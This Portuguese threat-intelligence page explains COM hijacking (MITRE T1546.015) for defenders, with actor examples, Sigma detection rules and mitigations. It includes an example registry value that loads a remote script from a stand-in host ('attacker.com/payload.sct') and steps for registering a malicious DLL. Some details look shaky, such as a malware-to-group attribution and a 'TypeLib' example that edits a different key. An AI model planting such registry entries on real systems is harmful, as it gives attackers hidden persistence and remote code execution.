# T1546.015 - Component Object Model Hijacking ## Técnica Pai Esta é uma sub-técnica de [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]]. A técnica pai abrange mecanismos de persistência e escalonamento de privilégios baseados em execução acionada por eventos ou interações do sistema operacional. ## Descrição O **Component Object Model (COM)** é uma arquitetura fundamental do Windows que permite a comunicação e interoperabilidade entre componentes de software por meio do sistema operacional. Cada componente COM é identificado por um **CLSID** (Class Identifier), um GUID único armazenado no registro do Windows, e referênciado por aplicações que necessitam de suas funcionalidades - como renderização de documentos Office, funcionalidades de shell do Explorer, ou serviços do sistema. O COM Hijacking (T1546.015) explora o mecanismo de resolução de CLSIDs pelo Windows: quando uma aplicação solicita um objeto COM, o sistema operacional busca sua implementação no registro, verificando primeiramente `HKCU\Software\Classes\CLSID\` (escopo do usuário atual) antes de `HKLM\Software\Classes\CLSID\` (escopo global do sistema). Esta ordem de precedência é o coração da vulnerabilidade - um atacante sem privilégios elevados pode registrar um CLSID no escopo do usuário (`HKCU`) apontando para um payload malicioso, e quando qualquer aplicação legítima tentar carregar o objeto COM legítimo (registrado em `HKLM`), a versão maliciosa do usuário terá prioridade. O resultado é **persistência sem escrita de arquivos de sistema e sem privilégios elevados**: o payload é carregado toda vez que a aplicação alvo invocar aquele CLSID - o que pode ocorrer no login do usuário (se o COM é utilizado pelo Explorer), ao abrir um documento Office, ou ao executar qualquer software que dependa do componente sequestrado. A execução ocorre no contexto do processo que carrega o COM, potencialmente com seus privilégios. Uma variante mais sofisticada envolve o sequestro de **TypeLibs** (bibliotecas de tipos COM). Adversários modificam chaves de registro associadas a TypeLibs para redirecionar a funcionalidade legítima do objeto COM para scripts ou payloads remotos, utilizando o moniker `script:` - que permite específicar uma URL de onde o script é baixado e executado dinâmicamente. Essa variante é particularmente furtiva porque o payload permanece remoto (sem artefato local) e é atualizado a cada execução, dificultando análise forense. O [[g0007-apt28|APT28]] (Fancy Bear), grupo russo de espionagem vinculado ao GRU, é o ator mais documentado no uso desta técnica, com múltiplas ferramentas de seu arsenal - como [[s0045-advstoreshell|ADVSTORESHELL]] e [[s0256-mosquito|Mosquito]] - implementando COM Hijacking para persistência. O [[g0010-turla|Turla]] também utiliza a técnica com sofisticação, tendo implementado o [[s0126-comrat|ComRAT]] (uma evolução do histórico Agent.BTZ) com mecanismos de persistência via COM. ## Como Funciona O COM Hijacking opera em dois vetores principais dependendo do nível de privilégio do atacante: **Vetor 1 - HKCU COM Hijacking (sem admin)** O atacante identifica CLSIDs registrados em `HKLM` que são utilizados por aplicações que executam no contexto do usuário. Usando ferramentas como `ProcMon` (análise de comportamento COM) ou scripts de enumeração, identifica-se quais CLSIDs resultam em `NAME NOT FOUND` ao serem buscados em `HKCU` - esses são os candidatos perfeitos para hijack. ``` Busca pelo Windows: 1. HKCU\Software\Classes\CLSID\{CLSID-GUID}\InprocServer32 ← ATACANTE REGISTRA AQUI 2. HKCR\CLSID\{CLSID-GUID}\InprocServer32 ← legítimo (admin) 3. HKLM\Software\Classes\CLSID\{CLSID-GUID}\InprocServer32 ← legítimo (admin) ``` **Vetor 2 - TypeLib Hijacking (com variante remota)** O atacante modifica a entrada `TypeLib` de um CLSID para apontar para um script remoto: ``` HKCU\Software\Classes\CLSID\{CLSID-GUID}\ → InprocServer32: "script:https://attacker.com/payload.sct" ``` **Fluxo de execução típico:** 1. Atacante obtém acesso inicial (usuário comum, sem admin) 2. Enumera CLSIDs vulneráveis via ProcMon ou AutoRuns 3. Escreve chave em `HKCU\Software\Classes\CLSID\{TARGET-GUID}\InprocServer32` apontando para DLL maliciosa em diretório gravável pelo usuário 4. Quando o Explorer, um aplicativo Office ou serviço do sistema carrega o COM, a DLL maliciosa é carregada no contexto desse processo 5. O payload executa com os privilégios do processo hospedeiro - possívelmente SYSTEM se o hospedeiro for um serviço privilegiado ## Attack Flow ```mermaid graph TB A["Acesso Inicial<br/>usuário comum sem admin"] --> B["Enumeração de CLSIDs<br/>ProcMon / AutoRuns / scripts"] B --> C{"Identificação de<br/>CLSID Vulnerável<br/>HKCU ausente, HKLM presente"} C --> D["Escrita em HKCU<br/>HKCU\\Software\\Classes\\CLSID\\{GUID}"] D --> E["Deploy da DLL/Script<br/>em diretório gravável pelo usuário"] E --> F{"Evento que carrega<br/>o COM ocorre"} F --> G["Explorer / Office / Serviço<br/>carrega HKCU antes de HKLM"] G --> H["DLL Maliciosa Carregada<br/>no contexto do processo legítimo"] H --> I["Execução no Contexto<br/>do Processo Hospedeiro"] I --> J["Persistência Ativa<br/>cada login / uso do app"] I --> K["Possível Privesc<br/>se hospedeiro for SYSTEM"] J --> L["C2 / Backdoor / Exfiltração"] K --> L style A fill:#c0392b,color:#fff style H fill:#e67e22,color:#fff style I fill:#8e44ad,color:#fff style J fill:#27ae60,color:#fff style K fill:#f39c12,color:#fff style L fill:#2980b9,color:#fff ``` ## Exemplos de Uso ### APT28 (Fancy Bear) - ADVSTORESHELL e Mosquito O [[g0007-apt28|APT28]], grupo russo do GRU responsável por operações de espionagem de alto perfil, implementou COM Hijacking em múltiplas ferramentas. O [[s0045-advstoreshell|ADVSTORESHELL]] (também conhecido como NETUI, EVILTOSS, Sednit) utilizou COM Hijacking para injetar código em processos legítimos. O [[s0256-mosquito|Mosquito]], um implante do APT28 descoberto pela ESET em campanhas na Europa, abusou de COM objects para persistência silenciosa em sistemas Windows de alvos diplomáticos e governamentais. ### Turla - ComRAT O [[g0010-turla|Turla]], grupo russo com décadas de operações de espionagem, implementou COM Hijacking no [[s0126-comrat|ComRAT]] (v4), um backdoor sofisticado que utiliza o Gmail como canal de C2. A persistência via COM permite ao ComRAT sobreviver em ambientes altamente monitorados, pois o processo hospedeiro legítimo (frequentemente o Explorer) mascara a atividade maliciosa. O Turla foi responsável por ataques a governos europeus, incluindo o Ministério de Negócios Estrangeiros finlandês. ### KONNI (Grupo Lazarus) O [[g0032-lazarus-group|Lazarus Group]] utilizou o malware [[konni|KONNI]] em campanhas que abusavam de COM objects para manter persistência em sistemas Windows. O KONNI foi utilizado em ataques a organizações russas, europeias e sul-coreanas, com foco em espionagem política e econômica. Grupos norte-coreanos têm interesse documentado em alvos brasileiros no setor financeiro e de criptomoedas. ### WarzoneRAT - Persistência via COM O [[s0670-warzonerat|WarzoneRAT]], um RAT comercial (MaaS) amplamente utilizado por múltiplos grupos de ameaça, incluindo grupos financeiramente motivados que operam na América Latina, implementa COM Hijacking como uma das opções de mecanismo de persistência. A disponibilidade comercial deste RAT significa que a técnica está acessível a atores com capacidade técnica moderada, não apenas a APTs de nação-estado. ### SVCReady O [[s1064-svcready|SVCReady]] é um loader de malware que utiliza COM Hijacking para persistência, documentado em campanhas de distribuição via documentos Word maliciosos. É relevante por sua cadeia de infecção que começa com phishing - vetor prevalente no Brasil - e termina em backdoors via COM. ## Detecção ### Regra Sigma - COM Hijacking via Modificação de Registro HKCU ```yaml title: Suspeita de COM Hijacking via Registro HKCU id: c8e4b2d9-3f56-4e78-a1bc-234567890abc status: stable description: | Detecta criação ou modificação de chaves de registro em HKCU para CLSIDs que podem indicar COM Hijacking para persistência ou escalonamento de privilégios (T1546.015). Foca em InprocServer32 e InprocServer apontando para caminhos incomuns. references: - https://attack.mitre.org/techniques/T1546/015/ - https://www.elastic.co/security-labs/hunting-for-persistence-via-microsoft-exchange-server-or-sharepoint-server author: RunkIntel daté: 2026-03-25 tags: - attack.persistence - attack.privilege_escalation - attack.t1546.015 logsource: product: windows category: registry_set detection: selection_hkcu_clsid: TargetObject|startswith: - 'HKCU\Software\Classes\CLSID\' TargetObject|contains: - '\InprocServer32' - '\LocalServer32' - '\InprocHandler32' selection_suspicious_path: Details|contains: - '\AppData\Local\Temp\' - '\AppData\Roaming\' - '\Users\Public\' - '\ProgramData\' - 'script:' - 'http://' - 'https://' - '.sct' selection_known_abused: TargetObject|contains: - '{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' - '{BCDE0395-E52F-467C-8E3D-C4579291692E}' - '{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}' condition: selection_hkcu_clsid and (selection_suspicious_path or selection_known_abused) falsepositives: - Instaladores de software legítimo que registram DLLs em AppData - Aplicações portáteis (portables) que se auto-registram em HKCU - Alguns frameworks de desenvolvimento (Electron, .NET) com DLLs em AppData level: medium ``` ### Detecção via Correlação de Carga de DLL ```yaml title: DLL Carregada de Caminho Suspeito por Processo Legítimo via COM id: d9f5c3e0-4a67-5b89-b2cd-345678901bcd status: experimental description: | Detecta processos legítimos do Windows carregando DLLs de caminhos incomuns (AppData, Temp, Public) que podem indicar COM Hijacking. logsource: product: windows category: image_load detection: selection_process: Image|endswith: - '\explorer.exe' - '\svchost.exe' - '\dllhost.exe' - '\taskhost.exe' - '\taskhostw.exe' selection_suspicious_dll: ImageLoaded|contains: - '\AppData\Local\Temp\' - '\AppData\Roaming\' - '\Users\Public\' condition: selection_process and selection_suspicious_dll falsepositives: - Software legítimo com DLLs em AppData (alguns apps modernos) level: medium ``` ### Indicadores Adicionais - Verificar `AutoRuns` (Sysinternals) para entradas COM em `HKCU` não reconhecidas - Monitorar o Process Monitor para eventos `RegSetValue` em `HKCU\Software\Classes\CLSID` - Inspecionar cargas de DLL por `dllhost.exe` (host de objetos COM out-of-process) - Usar Sysmon Event ID 12/13 (registry object creaté/delete) para cobertura abrangente ## Mitigação | ID | Mitigação | Aplicação | |----|-----------|-----------| | M1022 | [[m1022-restrict-file-and-directory-permissions\|M1022 - Restrict File and Directory Permissions]] | Restringir permissões de escrita em diretórios onde DLLs de COM seriam colocadas (ex.: `System32`, `Program Files`). Garantir que usuários não possam escrever DLLs em caminhos que estejam no PATH do sistema. Usar ACLs para bloquear escrita em `HKLM\Software\Classes\CLSID` por usuários não-admin. | | M1018 | [[m1018-user-account-management\|M1018 - User Account Management]] | Aplicar princípio do menor privilégio. Evitar que usuários operem como administradores locais. Implementar LAPS (Local Administrator Password Solution) para gerenciamento de contas locais. Auditar regularmente membros do grupo Administrators local. | **Controles adicionais:** - **AppLocker / WDAC**: bloquear carregamento de DLLs de diretórios de usuário (`%APPDATA%`, `%TEMP%`) - **Attack Surface Reduction (ASR)**: habilitar regras ASR do Microsoft Defender para bloquear comportamentos de COM abuse - **Monitoramento de registro**: implementar auditoria de objeto de registro para `HKCU\Software\Classes\CLSID` via Group Policy - **Inventário de CLSIDs**: manter lista aprovada de CLSIDs registrados em `HKCU` - qualquer novo registro deve gerar alerta ## Contexto Brasil/LATAM O COM Hijacking representa um vetor de ameaça relevante para o ecossistema brasileiro e latino-americano em múltiplas dimensões: **Ransomware e Grupos Financeiramente Motivados:** Operadores de ransomware que afetaram organizações brasileiras - como [[lockbit|LockBit]], [[black-basta|Black Basta]] e o grupo ALPHV/BlackCat - utilizam toolchains que incluem loaders com persistência via COM Hijacking. O [[s0670-warzonerat|WarzoneRAT]], disponível no modelo MaaS (Malware-as-a-Service) e utilizado por grupos brasileiros e internacionais em ataques a empresas nacionais, implementa esta técnica nativamente. **Espionagem Corporativa:** O Brasil é o maior mercado da América Latina e sede de empresas multinacionais em setores como energia (Petrobras), agronegócio, mineração (Vale) e finanças. Grupos como [[g0007-apt28|APT28]] e [[g0010-turla|Turla]], com histórico de espionagem econômica e política, têm capacidade e motivação para operar na região. COM Hijacking, por sua natureza furtiva e ausência de escrita em locais monitorados, é adequado para operações de longa duração. **Fraqueza Estrutural em Ambientes Windows Corporativos:** A grande maioria das organizações brasileiras opera em ambientes Windows com usuários que têm privilégios de administrador local - por conveniência ou por herança de configurações legadas. Esse cenário torna o COM Hijacking via `HKCU` especialmente efetivo, pois não requer escalada inicial de privilégios. **Setores Prioritários de Atenção:** - Setor financeiro (bancos, corretoras, fintechs): alto valor + histórico de ataques sofisticados - Governo federal e estadual: alvos de espionagem por grupos de nação-estado - Infraestrutura crítica (energia, telecomúnicações): alvos de grupos como [[g0064-apt33|APT33]] e [[g1001-hexane|HEXANE]] - Indústria farmacêutica e agronegócio: espionagem de propriedade intelectual **Recomendação para SOCs Brasileiros:** Incluir queries de hunting para `HKCU\Software\Classes\CLSID` com `InprocServer32` em diretórios de usuário nos playbooks de threat hunting. O Sysmon com configuração apropriada (Event IDs 12, 13 para registro) e a integração com SIEM (Splunk, Microsoft Sentinel, Elastic SIEM) permitem detecção efetiva sem custo de licenciamento adicional. ## Referências - [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]] - técnica pai - [[t1574-007-path-interception-by-path-environment-variable|T1574 - Hijack Execution Flow]] - técnica relacionada de sequestro de execução - [[t1055-process-injection|T1055 - Process Injection]] - técnica de injeção frequentemente combinada com COM Hijacking - [[g0007-apt28|APT28]] - principal ator com uso documentado de COM Hijacking - [[g0010-turla|Turla]] - grupo com ComRAT e persistência via COM - [[g0032-lazarus-group|Lazarus Group]] - operador do KONNI com uso de COM persistence - [[g0016-apt29|APT29]] - grupo com histórico de técnicas de persistência furtiva em Windows - [[s0126-comrat|ComRAT]] - backdoor do Turla com persistência via COM - [[s0045-advstoreshell|ADVSTORESHELL]] - ferramenta do APT28 com COM Hijacking - [[s0256-mosquito|Mosquito]] - implante do APT28 com persistência via COM - [[s0670-warzonerat|WarzoneRAT]] - RAT comercial com COM persistence usado na LATAM - [[m1022-restrict-file-and-directory-permissions|M1022 - Restrict File and Directory Permissions]] - mitigação principal --- *Fonte: [MITRE ATT&CK - T1546.015](https://attack.mitre.org/techniques/T1546/015)*